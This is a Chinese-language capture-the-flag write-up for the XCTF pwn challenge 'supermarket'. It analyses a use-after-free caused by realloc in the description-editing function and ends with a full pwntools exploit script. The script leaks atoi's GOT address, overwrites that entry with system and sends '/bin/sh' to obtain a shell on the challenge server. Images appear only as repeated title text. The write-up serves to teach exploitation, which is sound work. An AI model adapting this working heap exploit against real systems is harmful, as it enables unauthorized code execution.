欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

supermarket(xctf)

程序员文章站 2022-05-15 20:23:41
...

0x0 程序保护和流程

保护:

supermarket(xctf)

流程:

main()

supermarket(xctf)

real_main()

supermarket(xctf)

add()

supermarket(xctf)

依次输入aaaa,100,0x50,aaaa后的会分配两个堆块。

supermarket(xctf)

supermarket(xctf)

heap_pointer的情况。

supermarket(xctf)

del()根据输入的名字free掉相应的堆块,list()输出所有的信息,change_price()可以修改价格。

change_descrip()

supermarket(xctf)

在这个函数中,如果输入的size和原来的不一样的话就会调用realloc函数重新分配堆块。如果size比原来大则会free掉原来的堆块,并且重新分配一个堆块,但是程序并没有对指针信息进行修改,形成了一个UAF。

0x1 利用过程

1.由于题目给出了libc,首先需要确定libc的版本。

supermarket(xctf)

确定libc版本后选择ubuntu16.04作为复现的系统。

supermarket(xctf)

2.要想泄露函数的真实地址必须使用输出函数进行输出,而程序给出的输出函数是根据&heap_pointer)[index] + 6中的地址输出字符串。

supermarket(xctf)

3.通过以上的分析可以的得出,如果可以控制&heap_pointer)[index] + 6中的数据再配合change_descrip()函数就可以实现任意地址读写了。

4.UAF(use after free),顾名思义就是在释放完堆块之后还可以对其进行操作,如果对Linux的堆管理器有一定认识的话可以知道,在堆块释放完之后,如果重新申请的堆块大小合适,会将之前已经释放的堆块重新分配。也就是说当程序在realloc函数的时候size比原来大,free掉之前的chunk,再重新调用add()生成两个堆块,第一个堆块的位置会落在之前被realloc函数free掉的函数中,并且第一个堆块中存放的数据的地址信息可以被之前的指针进行修改,这样的话就可以实现任意地址读写。

首次add。

supermarket(xctf)

再次add,防止realloc直接向topchunk申请内存。

supermarket(xctf)

修改首次add的堆块大小。

supermarket(xctf)

这时首次add的堆块的指向description仍然指向原来的位置,而原来的位置已经被free了(配合上图食用)。

supermarket(xctf)

这时再add一个。

supermarket(xctf)

再次查看内存信息。

supermarket(xctf)

这是可以通过首次add索引通过change_descrip()控制上图的0x09b22040中的数据,完成任意地址读写。于是可以将0x09b22040中的数据改成atoi函数的got表地址,调用list()函数函数输出atoi函数在内存中的真实地址,于是就可以计算出system函数再内存中的地址,再通过最后一次add的索引将atoi函数的got表修改成system函数的地址。之后的每一次输入都相当于调用了system函数。

这里要注意的是对于descrip_size的大小不要属于fastbin,因为fastbin的构造会出现输入长度不够的问题。

0x2 exp

from pwn import *
local=0
if local:
    sh=process('./a')
    libc=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    sh=remote('220.249.52.133','54078')
    libc=ELF('./libc.so.6')

elf=ELF('./a')
atoi_got=elf.got['atoi']

system_libc=libc.symbols['system']
atoi_libc=libc.symbols['atoi']

def add(name,size,descrip):
    sh.sendlineafter('your choice>> ','1')
    sh.sendlineafter('name:',name)
    sh.sendlineafter('price:','100')
    sh.sendlineafter('descrip_size:',str(size))
    sh.sendlineafter('description:',descrip)

def dele(name):
    sh.sendlineafter('your choice>> ','2')
    sh.sendlineafter('name:',name)

def List():
    sh.sendlineafter('your choice>> ','3')

def changeprice(name,value):
    sh.sendlineafter('your choice>> ','4')
    sh.sendlineafter('name:',name)
    sh.sendlineafter('input the value you want to cut or rise in:',str(value))

def changedecrip(name,size,descrip):
    sh.sendlineafter('your choice>> ','5')
    sh.sendlineafter('name:',name)
    sh.sendlineafter('descrip_size:',str(size))
    sh.sendlineafter('description:',descrip)

add('aaaa',0x50,'aaaa')
add('bbbb',8,'bbbb')
changedecrip('aaaa',0x70,'')
add('cccc',0x1c,'cccc')
payload='cccc'+'\x00'*12+p32(0x64)+p32(0x1c)+p32(atoi_got)
changedecrip('aaaa',0x50,payload)
List()
sh.recvuntil('cccc: price.100, des.')
atoi_addr=u32(sh.recv(4))
offset=atoi_addr-atoi_libc
system_addr=offset+system_libc
changedecrip('cccc',0x1c,p32(system_addr))
sh.recvuntil("your choice>> ")
sh.sendline("/bin/sh\x00")
sh.interactive()
相关标签: xctf(pwn高手区)